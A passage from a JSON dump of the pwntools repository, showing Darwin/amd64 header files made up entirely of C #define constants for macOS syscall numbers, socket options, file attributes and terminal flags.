SYS_sendmsg_nocancel 402\n#define SYS_recvfrom_nocancel 403\n#define SYS_accept_nocancel 404\n#define SYS_msync_nocancel 405\n#define SYS_fcntl_nocancel 406\n#define SYS_select_nocancel 407\n#define SYS_fsync_nocancel 408\n#define SYS_connect_nocancel 409\n#define SYS_sigsuspend_nocancel 410\n#define SYS_readv_nocancel 411\n#define SYS_writev_nocancel 412\n#define SYS_sendto_nocancel 413\n#define SYS_pread_nocancel 414\n#define SYS_pwrite_nocancel 415\n#define SYS_waitid_nocancel 416\n#define SYS_poll_nocancel 417\n#define SYS_msgsnd_nocancel 418\n#define SYS_msgrcv_nocancel 419\n#define SYS_sem_wait_nocancel 420\n#define SYS_aio_suspend_nocancel 421\n#define SYS___sigwait_nocancel 422\n#define SYS___semwait_signal_nocancel 423\n#define SYS___mac_mount 424\n#define SYS___mac_get_mount 425\n#define SYS___mac_getfsstat 426\n#define SYS_fsgetpath 427\n#define SYS_audit_session_self 428\n#define SYS_audit_session_join 429\n#define SYS_fileport_makeport 430\n#define SYS_fileport_makefd 431\n#define SYS_audit_session_port 432\n#define SYS_pid_suspend 433\n#define SYS_pid_resume 434\n#define SYS_pid_hibernate 435\n#define SYS_pid_shutdown_sockets 436\n#define SYS_kas_info 439\n#define SYS_memorystatus_control 440\n#define SYS_guarded_open_np 441\n#define SYS_guarded_close_np 442\n#define SYS_guarded_kqueue_np 443\n#define SYS_change_fdguard_np 444\n#define SYS_usrctl 445\n#define SYS_proc_rlimit_control 446\n#define SYS_connectx 447\n#define SYS_disconnectx 448\n#define SYS_peeloff 449\n#define SYS_socket_delegate 450\n#define SYS_telemetry 451\n#define SYS_proc_uuid_policy 452\n#define SYS_memorystatus_get_level 453\n#define SYS_system_override 454\n#define SYS_vfs_purge 455\n#define SYS_sfi_ctl 456\n#define SYS_sfi_pidctl 457\n#define SYS_coalition 458\n#define SYS_coalition_info 459\n#define SYS_necp_match_policy 460\n#define SYS_getattrlistbulk 461\n#define SYS_clonefileat 462\n#define SYS_openat 463\n#define SYS_openat_nocancel 464\n#define SYS_renameat 465\n#define SYS_faccessat 466\n#define SYS_fchmodat 467\n#define SYS_fchownat 468\n#define SYS_fstatat 469\n#define SYS_fstatat64 470\n#define SYS_linkat 471\n#define SYS_unlinkat 472\n#define SYS_readlinkat 473\n#define SYS_symlinkat 474\n#define SYS_mkdirat 475\n#define SYS_getattrlistat 476\n#define SYS_proc_trace_log 477\n#define SYS_bsdthread_ctl 478\n#define SYS_openbyid_np 479\n#define SYS_recvmsg_x 480\n#define SYS_sendmsg_x 481\n#define SYS_thread_selfusage 482\n#define SYS_csrctl 483\n#define SYS_guarded_open_dprotected_np 484\n#define SYS_guarded_write_np 485\n#define SYS_guarded_pwrite_np 486\n#define SYS_guarded_writev_np 487\n#define SYS_renameatx_np 488\n#define SYS_mremap_encrypted 489\n#define SYS_netagent_trigger 490\n#define SYS_stack_snapshot_with_config 491\n#define SYS_microstackshot 492\n#define SYS_grab_pgo_data 493\n#define SYS_persona 494\n#define SYS_mach_eventlink_signal 496\n#define SYS_mach_eventlink_wait_until 497\n#define SYS_mach_eventlink_signal_wait_until 498\n#define SYS_work_interval_ctl 499\n#define SYS_getentropy 500\n#define SYS_necp_open 501\n#define SYS_necp_client_action 502\n#define SYS___nexus_open 503\n#define SYS___nexus_register 504\n#define SYS___nexus_deregister 505\n#define SYS___nexus_create 506\n#define SYS___nexus_destroy 507\n#define SYS___nexus_get_opt 508\n#define SYS___nexus_set_opt 509\n#define SYS___channel_open 510\n#define SYS___channel_get_info 511\n#define SYS___channel_sync 512\n#define SYS___channel_get_opt 513\n#define SYS___channel_set_opt 514\n#define SYS_ulock_wait 515\n#define SYS_ulock_wake 516\n#define SYS_fclonefileat 517\n#define SYS_fs_snapshot 518\n#define SYS_register_uexc_handler 519\n#define SYS_terminate_with_payload 520\n#define SYS_abort_with_payload 521\n#define SYS_necp_session_open 522\n#define SYS_necp_session_action 523\n#define SYS_setattrlistat 524\n#define SYS_net_qos_guideline 525\n#define SYS_fmount 526\n#define SYS_ntp_adjtime 527\n#define SYS_ntp_gettime 528\n#define SYS_os_fault_with_payload 529\n#define SYS_kqueue_workloop_ctl 530\n#define SYS___mach_bridge_remote_time 531\n#define SYS_coalition_ledger 532\n#define SYS_log_data 533\n#define SYS_memorystatus_available_memory 534\n#define SYS_objc_bp_assist_cfg_np 535\n#define SYS_shared_region_map_and_slide_2_np 536\n#define SYS_pivot_root 537\n#define SYS_task_inspect_for_pid 538\n#define SYS_task_read_for_pid 539\n#define SYS_preadv 540\n#define SYS_pwritev 541\n#define SYS_preadv_nocancel 542\n#define SYS_pwritev_nocancel 543\n#define SYS_ulock_wait2 544\n#define SYS_proc_info_extended_id 545\n#define SYS_tracker_action 546\n#define SYS_debug_syscall_reject 547\n#define SYS_debug_syscall_reject_config 548\n#define SYS_graftdmg 549\n#define SYS_map_with_linking_np 550\n#define SYS_freadlink 551\n#define SYS_record_system_event 552\n#define SYS_mkfifoat 553\n#define SYS_mknodat 554\n#define SYS_ungraftdmg 555\n#define SYS_coalition_policy_set 556\n#define SYS_coalition_policy_get 557\n#define SYS_MAXSYSCALL 558\n#define SYS_invalid 63\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SO_DEBUG 0x0001\n#define SO_ACCEPTCONN 0x0002\n#define SO_REUSEADDR 0x0004\n#define SO_KEEPALIVE 0x0008\n#define SO_DONTROUTE 0x0010\n#define SO_BROADCAST 0x0020\n#define SO_USELOOPBACK 0x0040\n#define SO_LINGER 0x1080\n#define SO_LINGER_SEC 0x1080\n#define SO_OOBINLINE 0x0100\n#define SO_REUSEPORT 0x0200\n#define SO_TIMESTAMP 0x0400\n#define SO_TIMESTAMP_MONOTONIC 0x0800\n#define SO_ACCEPTFILTER 0x1000\n#define SO_DONTTRUNC 0x2000\n#define SO_WANTMORE 0x4000\n#define SO_WANTOOBFLAG 0x8000\n#define SO_SNDBUF 0x1001\n#define SO_RCVBUF 0x1002\n#define SO_SNDLOWAT 0x1003\n#define SO_RCVLOWAT 0x1004\n#define SO_SNDTIMEO 0x1005\n#define SO_RCVTIMEO 0x1006\n#define SO_ERROR 0x1007\n#define SO_TYPE 0x1008\n#define SO_LABEL 0x1010\n#define SO_PEERLABEL 0x1011\n#define SO_NREAD 0x1020\n#define SO_NKE 0x1021\n#define SO_NOSIGPIPE 0x1022\n#define SO_NOADDRERR 0x1023\n#define SO_NWRITE 0x1024\n#define SO_REUSESHAREUID 0x1025\n#define SO_NOTIFYCONFLICT 0x1026\n#define SO_UPCALLCLOSEWAIT 0x1027\n#define SO_RANDOMPORT 0x1082\n#define SO_NP_EXTENSIONS 0x1083\n#define SO_NUMRCVPKT 0x1112\n#define SO_NET_SERVICE_TYPE 0x1116\n#define SO_NETSVC_MARKING_LEVEL 0x1119\n#define SO_RESOLVER_SIGNATURE 0x1131\n#define SO_BINDTODEVICE 0x1134\n#define NET_SERVICE_TYPE_BE 0\n#define NET_SERVICE_TYPE_BK 1\n#define NET_SERVICE_TYPE_SIG 2\n#define NET_SERVICE_TYPE_VI 3\n#define NET_SERVICE_TYPE_VO 4\n#define NET_SERVICE_TYPE_RV 5\n#define NET_SERVICE_TYPE_AV 6\n#define NET_SERVICE_TYPE_OAM 7\n#define NET_SERVICE_TYPE_RD 8\n#define NETSVC_MRKNG_UNKNOWN 0\n#define NETSVC_MRKNG_LVL_L2 1\n#define NETSVC_MRKNG_LVL_L3L2_ALL 2\n#define NETSVC_MRKNG_LVL_L3L2_BK 3\n#define SAE_ASSOCID_ANY 0\n#define SAE_CONNID_ANY 0\n#define CONNECT_RESUME_ON_READ_WRITE 0x1\n#define CONNECT_DATA_IDEMPOTENT 0x2\n#define CONNECT_DATA_AUTHENTICATED 0x4\n#define SONPX_SETOPTSHUT 0x000000001\n#define SOL_SOCKET 0xffff\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_INET 2\n#define AF_IMPLINK 3\n#define AF_PUP 4\n#define AF_CHAOS 5\n#define AF_NS 6\n#define AF_ISO 7\n#define AF_ECMA 8\n#define AF_DATAKIT 9\n#define AF_CCITT 10\n#define AF_SNA 11\n#define AF_DECnet 12\n#define AF_DLI 13\n#define AF_LAT 14\n#define AF_HYLINK 15\n#define AF_APPLETALK 16\n#define AF_ROUTE 17\n#define AF_LINK 18\n#define pseudo_AF_XTP 19\n#define AF_COIP 20\n#define AF_CNT 21\n#define pseudo_AF_RTIP 22\n#define AF_IPX 23\n#define AF_SIP 24\n#define pseudo_AF_PIP 25\n#define AF_NDRV 27\n#define AF_ISDN 28\n#define pseudo_AF_KEY 29\n#define AF_INET6 30\n#define AF_NATM 31\n#define AF_SYSTEM 32\n#define AF_NETBIOS 33\n#define AF_PPP 34\n#define pseudo_AF_HDRCMPLT 35\n#define AF_RESERVED_36 36\n#define AF_IEEE80211 37\n#define AF_UTUN 38\n#define AF_VSOCK 40\n#define AF_MAX 41\n#define SOCK_MAXADDRLEN 255\n#define _SS_MAXSIZE 128\n#define NET_RT_DUMP 1\n#define NET_RT_FLAGS 2\n#define NET_RT_IFLIST 3\n#define NET_RT_STAT 4\n#define NET_RT_TRASH 5\n#define NET_RT_IFLIST2 6\n#define NET_RT_DUMP2 7\n#define NET_RT_FLAGS_PRIV 10\n#define NET_RT_MAXID 11\n#define SOMAXCONN 128\n#define MSG_OOB 0x1\n#define MSG_PEEK 0x2\n#define MSG_DONTROUTE 0x4\n#define MSG_EOR 0x8\n#define MSG_TRUNC 0x10\n#define MSG_CTRUNC 0x20\n#define MSG_WAITALL 0x40\n#define MSG_DONTWAIT 0x80\n#define MSG_EOF 0x100\n#define MSG_WAITSTREAM 0x200\n#define MSG_FLUSH 0x400\n#define MSG_HOLD 0x800\n#define MSG_SEND 0x1000\n#define MSG_HAVEMORE 0x2000\n#define MSG_RCVMORE 0x4000\n#define MSG_NEEDSA 0x10000\n#define MSG_NOSIGNAL 0x80000\n#define MSG_USEUPCALL 0x80000000\n#define CMGROUP_MAX 16\n#define SCM_RIGHTS 0x01\n#define SCM_TIMESTAMP 0x02\n#define SCM_CREDS 0x03\n#define SCM_TIMESTAMP_MONOTONIC 0x04\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define SBUF_FIXEDLEN 0x00000000\n#define SBUF_AUTOEXTEND 0x00000001\n#define SBUF_USRFLAGMSK 0x0000ffff\n#define SBUF_DYNAMIC 0x00010000\n#define SBUF_FINISHED 0x00020000\n#define SBUF_OVERFLOWED 0x00040000\n#define SBUF_DYNSTRUCT 0x00080000\n#define SYSPROTO_EVENT 1\n#define SYSPROTO_CONTROL 2\n#define AF_SYS_CONTROL 2\n#define SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED 0x00000001\n#define SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER 0x00000002\n#define SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT 0x00000004\n#define NS_GETRAWENCRYPTED 0x00000001\n"
  },
  {
    "path": "pwnlib/data/includes/darwin/amd64.h",
    "content": "#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define DST_NONE 0\n#define DST_USA 1\n#define DST_AUST 2\n#define DST_WET 3\n#define DST_MET 4\n#define DST_EET 5\n#define DST_CAN 6\n#define CHILD_MAX 266\n#define LINK_MAX 32767\n#define MAX_CANON 1024\n#define MAX_INPUT 1024\n#define NAME_MAX 255\n#define NGROUPS_MAX 16\n#define OPEN_MAX 10240\n#define PATH_MAX 1024\n#define PIPE_BUF 512\n#define BC_BASE_MAX 99\n#define BC_DIM_MAX 2048\n#define BC_SCALE_MAX 99\n#define BC_STRING_MAX 1000\n#define CHARCLASS_NAME_MAX 14\n#define COLL_WEIGHTS_MAX 2\n#define EQUIV_CLASS_MAX 2\n#define EXPR_NEST_MAX 32\n#define LINE_MAX 2048\n#define RE_DUP_MAX 255\n#define NZERO 0\n#define GETNCNT 3\n#define GETPID 4\n#define GETVAL 5\n#define GETALL 6\n#define GETZCNT 7\n#define SETVAL 8\n#define SETALL 9\n#define SEM_UNDO 0010000\n#define SEM_A 00200\n#define SEM_R 00400\n#define PSEMNAMLEN 31\n#define PSEM_NONE 1\n#define PSEM_DEFINED 2\n#define PSEM_ALLOCATED 4\n#define PSEM_MAPPED 8\n#define PSEM_INUSE 0x10\n#define PSEM_REMOVED 0x20\n#define PSEM_INCREATE 0x40\n#define PSEM_INDELETE 0x80\n#define FSOPT_NOFOLLOW 0x00000001\n#define FSOPT_NOINMEMUPDATE 0x00000002\n#define FSOPT_REPORT_FULLSIZE 0x00000004\n#define FSOPT_PACK_INVAL_ATTRS 0x00000008\n#define FSOPT_ATTR_CMN_EXTENDED 0x00000020\n#define FSOPT_RETURN_REALDEV 0x00000200\n#define FSOPT_NOFOLLOW_ANY 0x00000800\n#define SEARCHFS_MAX_SEARCHPARMS 4096\n#define ATTR_BIT_MAP_COUNT 5\n#define VOL_CAPABILITIES_FORMAT 0\n#define VOL_CAPABILITIES_INTERFACES 1\n#define VOL_CAPABILITIES_RESERVED1 2\n#define VOL_CAPABILITIES_RESERVED2 3\n#define ATTR_MAX_BUFFER 8192\n#define VOL_CAP_FMT_PERSISTENTOBJECTIDS 0x00000001\n#define VOL_CAP_FMT_SYMBOLICLINKS 0x00000002\n#define VOL_CAP_FMT_HARDLINKS 0x00000004\n#define VOL_CAP_FMT_JOURNAL 0x00000008\n#define VOL_CAP_FMT_JOURNAL_ACTIVE 0x00000010\n#define VOL_CAP_FMT_NO_ROOT_TIMES 0x00000020\n#define VOL_CAP_FMT_SPARSE_FILES 0x00000040\n#define VOL_CAP_FMT_ZERO_RUNS 0x00000080\n#define VOL_CAP_FMT_CASE_SENSITIVE 0x00000100\n#define VOL_CAP_FMT_CASE_PRESERVING 0x00000200\n#define VOL_CAP_FMT_FAST_STATFS 0x00000400\n#define VOL_CAP_FMT_2TB_FILESIZE 0x00000800\n#define VOL_CAP_FMT_OPENDENYMODES 0x00001000\n#define VOL_CAP_FMT_HIDDEN_FILES 0x00002000\n#define VOL_CAP_FMT_PATH_FROM_ID 0x00004000\n#define VOL_CAP_FMT_NO_VOLUME_SIZES 0x00008000\n#define VOL_CAP_FMT_DECMPFS_COMPRESSION 0x00010000\n#define VOL_CAP_FMT_64BIT_OBJECT_IDS 0x00020000\n#define VOL_CAP_FMT_DIR_HARDLINKS 0x00040000\n#define VOL_CAP_FMT_DOCUMENT_ID 0x00080000\n#define VOL_CAP_FMT_WRITE_GENERATION_COUNT 0x00100000\n#define VOL_CAP_FMT_NO_IMMUTABLE_FILES 0x00200000\n#define VOL_CAP_FMT_NO_PERMISSIONS 0x00400000\n#define VOL_CAP_FMT_SHARED_SPACE 0x00800000\n#define VOL_CAP_FMT_VOL_GROUPS 0x01000000\n#define VOL_CAP_FMT_SEALED 0x02000000\n#define VOL_CAP_FMT_CLONE_MAPPING 0x04000000\n#define VOL_CAP_INT_SEARCHFS 0x00000001\n#define VOL_CAP_INT_ATTRLIST 0x00000002\n#define VOL_CAP_INT_NFSEXPORT 0x00000004\n#define VOL_CAP_INT_READDIRATTR 0x00000008\n#define VOL_CAP_INT_EXCHANGEDATA 0x00000010\n#define VOL_CAP_INT_COPYFILE 0x00000020\n#define VOL_CAP_INT_ALLOCATE 0x00000040\n#define VOL_CAP_INT_VOL_RENAME 0x00000080\n#define VOL_CAP_INT_ADVLOCK 0x00000100\n#define VOL_CAP_INT_FLOCK 0x00000200\n#define VOL_CAP_INT_EXTENDED_SECURITY 0x00000400\n#define VOL_CAP_INT_USERACCESS 0x00000800\n#define VOL_CAP_INT_MANLOCK 0x00001000\n#define VOL_CAP_INT_NAMEDSTREAMS 0x00002000\n#define VOL_CAP_INT_EXTENDED_ATTR 0x00004000\n#define VOL_CAP_INT_CLONE 0x00010000\n#define VOL_CAP_INT_SNAPSHOT 0x00020000\n#define VOL_CAP_INT_RENAME_SWAP 0x00040000\n#define VOL_CAP_INT_RENAME_EXCL 0x00080000\n#define VOL_CAP_INT_RENAME_OPENFAIL 0x00100000\n#define VOL_CAP_INT_RENAME_SECLUDE 0x00200000\n#define VOL_CAP_INT_ATTRIBUTION_TAG 0x00400000\n#define VOL_CAP_INT_PUNCHHOLE 0x00800000\n#define ATTR_CMN_NAME 0x00000001\n#define ATTR_CMN_DEVID 0x00000002\n#define ATTR_CMN_FSID 0x00000004\n#define ATTR_CMN_OBJTYPE 0x00000008\n#define ATTR_CMN_OBJTAG 0x00000010\n#define ATTR_CMN_OBJID 0x00000020\n#define ATTR_CMN_OBJPERMANENTID 0x00000040\n#define ATTR_CMN_PAROBJID 0x00000080\n#define ATTR_CMN_SCRIPT 0x00000100\n#define ATTR_CMN_CRTIME 0x00000200\n#define ATTR_CMN_MODTIME 0x00000400\n#define ATTR_CMN_CHGTIME 0x00000800\n#define ATTR_CMN_ACCTIME 0x00001000\n#define ATTR_CMN_BKUPTIME 0x00002000\n#define ATTR_CMN_FNDRINFO 0x00004000\n#define ATTR_CMN_OWNERID 0x00008000\n#define ATTR_CMN_GRPID 0x00010000\n#define ATTR_CMN_ACCESSMASK 0x00020000\n#define ATTR_CMN_FLAGS 0x00040000\n#define ATTR_CMN_GEN_COUNT 0x00080000\n#define ATTR_CMN_DOCUMENT_ID 0x00100000\n#define ATTR_CMN_USERACCESS 0x00200000\n#define ATTR_CMN_EXTENDED_SECURITY 0x00400000\n#define ATTR_CMN_UUID 0x00800000\n#define ATTR_CMN_GRPUUID 0x01000000\n#define ATTR_CMN_FILEID 0x02000000\n#define ATTR_CMN_PARENTID 0x04000000\n#define ATTR_CMN_FULLPATH 0x08000000\n#define ATTR_CMN_ADDEDTIME 0x10000000\n#define ATTR_CMN_ERROR 0x20000000\n#define ATTR_CMN_DATA_PROTECT_FLAGS 0x40000000\n#define ATTR_CMN_RETURNED_ATTRS 0x80000000\n#define ATTR_CMN_VALIDMASK 0xFFFFFFFF\n#define ATTR_CMN_SETMASK 0x51C7FF00\n#define ATTR_CMN_VOLSETMASK 0x00006700\n#define ATTR_VOL_FSTYPE 0x00000001\n#define ATTR_VOL_SIGNATURE 0x00000002\n#define ATTR_VOL_SIZE 0x00000004\n#define ATTR_VOL_SPACEFREE 0x00000008\n#define ATTR_VOL_SPACEAVAIL 0x00000010\n#define ATTR_VOL_MINALLOCATION 0x00000020\n#define ATTR_VOL_ALLOCATIONCLUMP 0x00000040\n#define ATTR_VOL_IOBLOCKSIZE 0x00000080\n#define ATTR_VOL_OBJCOUNT 0x00000100\n#define ATTR_VOL_FILECOUNT 0x00000200\n#define ATTR_VOL_DIRCOUNT 0x00000400\n#define ATTR_VOL_MAXOBJCOUNT 0x00000800\n#define ATTR_VOL_MOUNTPOINT 0x00001000\n#define ATTR_VOL_NAME 0x00002000\n#define ATTR_VOL_MOUNTFLAGS 0x00004000\n#define ATTR_VOL_MOUNTEDDEVICE 0x00008000\n#define ATTR_VOL_ENCODINGSUSED 0x00010000\n#define ATTR_VOL_CAPABILITIES 0x00020000\n#define ATTR_VOL_UUID 0x00040000\n#define ATTR_VOL_FSTYPENAME 0x00100000\n#define ATTR_VOL_FSSUBTYPE 0x00200000\n#define ATTR_VOL_SPACEUSED 0x00800000\n#define ATTR_VOL_QUOTA_SIZE 0x10000000\n#define ATTR_VOL_RESERVED_SIZE 0x20000000\n#define ATTR_VOL_ATTRIBUTES 0x40000000\n#define ATTR_VOL_INFO 0x80000000\n#define ATTR_VOL_VALIDMASK 0xF0B7FFFF\n#define ATTR_VOL_SETMASK 0x80002000\n#define ATTR_DIR_LINKCOUNT 0x00000001\n#define ATTR_DIR_ENTRYCOUNT 0x00000002\n#define ATTR_DIR_MOUNTSTATUS 0x00000004\n#define ATTR_DIR_ALLOCSIZE 0x00000008\n#define ATTR_DIR_IOBLOCKSIZE 0x00000010\n#define ATTR_DIR_DATALENGTH 0x00000020\n#define DIR_MNTSTATUS_MNTPOINT 0x00000001\n#define DIR_MNTSTATUS_TRIGGER 0x00000002\n#define ATTR_DIR_VALIDMASK 0x0000003f\n#define ATTR_DIR_SETMASK 0x00000000\n#define ATTR_FILE_LINKCOUNT 0x00000001\n#define ATTR_FILE_TOTALSIZE 0x00000002\n#define ATTR_FILE_ALLOCSIZE 0x00000004\n#define ATTR_FILE_IOBLOCKSIZE 0x00000008\n#define ATTR_FILE_DEVTYPE 0x00000020\n#define ATTR_FILE_FORKCOUNT 0x00000080\n#define ATTR_FILE_FORKLIST 0x00000100\n#define ATTR_FILE_DATALENGTH 0x00000200\n#define ATTR_FILE_DATAALLOCSIZE 0x00000400\n#define ATTR_FILE_RSRCLENGTH 0x00001000\n#define ATTR_FILE_RSRCALLOCSIZE 0x00002000\n#define ATTR_FILE_VALIDMASK 0x000037FF\n#define ATTR_FILE_SETMASK 0x00000020\n#define ATTR_CMNEXT_RELPATH 0x00000004\n#define ATTR_CMNEXT_PRIVATESIZE 0x00000008\n#define ATTR_CMNEXT_LINKID 0x00000010\n#define ATTR_CMNEXT_NOFIRMLINKPATH 0x00000020\n#define ATTR_CMNEXT_REALDEVID 0x00000040\n#define ATTR_CMNEXT_REALFSID 0x00000080\n#define ATTR_CMNEXT_CLONEID 0x00000100\n#define ATTR_CMNEXT_EXT_FLAGS 0x00000200\n#define ATTR_CMNEXT_RECURSIVE_GENCOUNT 0x00000400\n#define ATTR_CMNEXT_ATTRIBUTION_TAG 0x00000800\n#define ATTR_CMNEXT_CLONE_REFCNT 0x00001000\n#define ATTR_CMNEXT_VALIDMASK 0x00001ffc\n#define ATTR_CMNEXT_SETMASK 0x00000000\n#define ATTR_FORK_TOTALSIZE 0x00000001\n#define ATTR_FORK_ALLOCSIZE 0x00000002\n#define ATTR_FORK_RESERVED 0xffffffff\n#define ATTR_FORK_VALIDMASK 0x00000003\n#define ATTR_FORK_SETMASK 0x00000000\n#define ATTR_CMN_NAMEDATTRCOUNT 0x00080000\n#define ATTR_CMN_NAMEDATTRLIST 0x00100000\n#define ATTR_FILE_CLUMPSIZE 0x00000010\n#define ATTR_FILE_FILETYPE 0x00000040\n#define ATTR_FILE_DATAEXTENTS 0x00000800\n#define ATTR_FILE_RSRCEXTENTS 0x00004000\n#define SRCHFS_START 0x00000001\n#define SRCHFS_MATCHPARTIALNAMES 0x00000002\n#define SRCHFS_MATCHDIRS 0x00000004\n#define SRCHFS_MATCHFILES 0x00000008\n#define SRCHFS_SKIPLINKS 0x00000010\n#define SRCHFS_SKIPINVISIBLE 0x00000020\n#define SRCHFS_SKIPPACKAGES 0x00000040\n#define SRCHFS_SKIPINAPPROPRIATE 0x00000080\n#define SRCHFS_NEGATEPARAMS 0x80000000\n#define SRCHFS_VALIDOPTIONSMASK 0x800000FF\n#define KEV_ANY_VENDOR 0\n#define KEV_ANY_CLASS 0\n#define KEV_ANY_SUBCLASS 0\n#define KEV_VENDOR_APPLE 1\n#define KEV_NETWORK_CLASS 1\n#define KEV_IOKIT_CLASS 2\n#define KEV_SYSTEM_CLASS 3\n#define KEV_APPLESHARE_CLASS 4\n#define KEV_FIREWALL_CLASS 5\n#define KEV_IEEE80211_CLASS 6\n#define KEV_NKE_CLASS 7\n#define KEV_NKE_ALF_SUBCLASS 1\n#define KEV_NKE_ALF_STATE_CHANGED 1\n#define XNU_KERN_EVENT_DATA_SIZE 1\n#define KEV_VENDOR_CODE_MAX_STR_LEN 200\n#define N_KEV_VECTORS 5\n#define M_WAITOK 0x0000\n#define M_NOWAIT 0x0001\n#define M_ZERO 0x0004\n#define M_NULL 0x0008\n#define M_PCB 4\n#define M_RTABLE 5\n#define M_IFADDR 9\n#define M_SONAME 11\n#define M_LOCKF 40\n#define M_TEMP 80\n#define M_UDFNODE 84\n#define M_UDFMNT 85\n#define M_KAUTH 100\n#define HAVE_VT_LOCKERFS 1\n#define VNODE_READ 0x01\n#define VNODE_WRITE 0x02\n#define VNODE_BLOCKMAP_NO_TRACK 0x04\n#define VNODE_CLUSTER_VERIFY 0x08\n#define PREALLOCATE 0x00000001\n#define ALLOCATECONTIG 0x00000002\n#define ALLOCATEALL 0x00000004\n#define ALLOCATEPERSIST 0x00000008\n#define ALLOCATEFROMPEOF 0x00000010\n#define ALLOCATEFROMVOL 0x00000020\n#define IO_UNIT 0x0001\n#define IO_APPEND 0x0002\n#define IO_SYNC 0x0004\n#define IO_NODELOCKED 0x0008\n#define IO_NDELAY 0x0010\n#define IO_NOZEROFILL 0x0020\n#define IO_TAILZEROFILL 0x0040\n#define IO_HEADZEROFILL 0x0080\n#define IO_NOZEROVALID 0x0100\n#define IO_NOZERODIRTY 0x0200\n#define IO_CLOSE 0x0400\n#define IO_NOCACHE 0x0800\n#define IO_RAOFF 0x1000\n#define IO_DEFWRITE 0x2000\n#define IO_PASSIVE 0x4000\n#define IO_NOAUTH 0x8000\n#define IO_NODIRECT 0x10000\n#define IO_ENCRYPTED 0x20000\n#define IO_RETURN_ON_THROTTLE 0x40000\n#define IO_SINGLE_WRITER 0x80000\n#define IO_SYSCALL_DISPATCH 0x100000\n#define IO_SWAP_DISPATCH 0x200000\n#define IO_SKIP_ENCRYPTION 0x400000\n#define IO_EVTONLY 0x800000\n#define IO_NOCACHE_SYSSPACE 0x1000000\n#define IO_NOCACHE_SWRITE 0x2000000\n#define LOOKUP 0\n#define CREATE 1\n#define DELETE 2\n#define RENAME 3\n#define OPMASK 3\n#define FOLLOW 0x00000040\n#define ISDOTDOT 0x00002000\n#define MAKEENTRY 0x00004000\n#define ISLASTCN 0x00008000\n#define VNFS_NOCACHE 0x01\n#define VNFS_CANTCACHE 0x02\n#define VNFS_ADDFSREF 0x04\n#define VNCREATE_FLAVOR 0\n#define VA_UTIMES_NULL 0x010000\n#define VA_EXCLUSIVE 0x020000\n#define VA_NOINHERIT 0x040000\n#define VA_NOAUTH 0x080000\n#define VA_64BITOBJIDS 0x100000\n#define VA_REALFSID 0x200000\n#define VA_USEFSID 0x400000\n#define VA_FILESEC_ACL 0x800000\n#define VSUID 0x800\n#define VSGID 0x400\n#define VSVTX 0x200\n#define VREAD 0x100\n#define VWRITE 0x080\n#define VEXEC 0x040\n#define SKIPSYSTEM 0x0001\n#define FORCECLOSE 0x0002\n#define WRITECLOSE 0x0004\n#define SKIPSWAP 0x0008\n#define SKIPROOT 0x0010\n#define DOCLOSE 0x0008\n#define V_SAVE 0x0001\n#define V_SAVEMETA 0x0002\n#define REVOKEALL 0x0001\n#define VNODE_REMOVE_NODELETEBUSY 0x0001\n#define VNODE_REMOVE_SKIP_NAMESPACE_EVENT 0x0002\n#define VNODE_REMOVE_NO_AUDIT_PATH 0x0004\n#define VNODE_REMOVE_DATALESS_DIR 0x0008\n#define VNODE_READDIR_EXTENDED 0x0001\n#define VNODE_READDIR_REQSEEKOFF 0x0002\n#define VNODE_READDIR_SEEKOFF32 0x0004\n#define VNODE_READDIR_NAMEMAX 0x0008\n#define VNODE_CLONEFILE_DEFAULT 0x0000\n#define VNODE_CLONEFILE_NOOWNERCOPY 0x0001\n#define VNODE_ASYNC_THROTTLE 15\n#define VNODE_UPDATE_PARENT 0x01\n#define VNODE_UPDATE_NAME 0x02\n#define VNODE_UPDATE_CACHE 0x04\n#define VNODE_UPDATE_PURGE 0x08\n#define VNODE_LOOKUP_NOFOLLOW 0x01\n#define VNODE_LOOKUP_NOCROSSMOUNT 0x02\n#define VNODE_LOOKUP_CROSSMOUNTNOWAIT 0x04\n#define VNODE_LOOKUP_NOFOLLOW_ANY 0x08\n#define VNODE_RELOAD 0x01\n#define VNODE_WAIT 0x02\n#define VNODE_WRITEABLE 0x04\n#define VNODE_WITHID 0x08\n#define VNODE_NOLOCK_INTERNAL 0x10\n#define VNODE_NODEAD 0x20\n#define VNODE_NOSUSPEND 0x40\n#define VNODE_ITERATE_ALL 0x80\n#define VNODE_ITERATE_ACTIVE 0x100\n#define VNODE_ITERATE_INACTIVE 0x200\n#define VNODE_RETURNED 0\n#define VNODE_RETURNED_DONE 1\n#define VNODE_CLAIMED 2\n#define VNODE_CLAIMED_DONE 3\n#define IOCS_BUFFER_NUM_SIZE_BUCKETS 10\n#define IOCS_BUFFER_MAX_BUCKET 9\n#define IOCS_BUFFER_NUM_COMPRESSION_BUCKETS 7\n#define IOCS_BLOCK_NUM_SIZE_BUCKETS 16\n#define IOCS_SBE_PATH_LEN 128\n#define IOCS_PATH_START_BYTES_TO_COPY 108\n#define IOCS_PATH_END_BYTES_TO_COPY 20\n#define IOCS_SYSCTL_LIVE 0x00000001\n#define IOCS_SYSCTL_STORE_BUFFER_RD_ONLY 0x00000002\n#define IOCS_SYSCTL_STORE_BUFFER_MARK 0x00000004\n#define TANDEM 0x00000001\n#define CBREAK 0x00000002\n#define LCASE 0x00000004\n#define ECHO 0x00000008\n#define CRMOD 0x00000010\n#define RAW 0x00000020\n#define ODDP 0x00000040\n#define EVENP 0x00000080\n#define ANYP 0x000000c0\n#define NLDELAY 0x00000300\n#define TBDELAY 0x00000c00\n#define XTABS 0x00000c00\n#define CRDELAY 0x00003000\n#define VTDELAY 0x00004000\n#define BSDELAY 0x00008000\n#define NL0 0x00000000\n#define NL1 0x00000100\n#define NL2 0x00000200\n#define NL3 0x00000300\n#define TAB0 0x00000000\n#define TAB1 0x00000400\n#define TAB2 0x00000800\n#define CR0 0x00000000\n#define CR1 0x00001000\n#define CR2 0x00002000\n#define CR3 0x00003000\n#define FF0 0x00000000\n#define FF1 0x00004000\n#define BS0 0x00000000\n#define BS1 0x00008000\n#define CRTBS 0x00010000\n#define PRTERA 0x00020000\n#define CRTERA 0x00040000\n#define TILDE 0x00080000\n#define MDMBUF 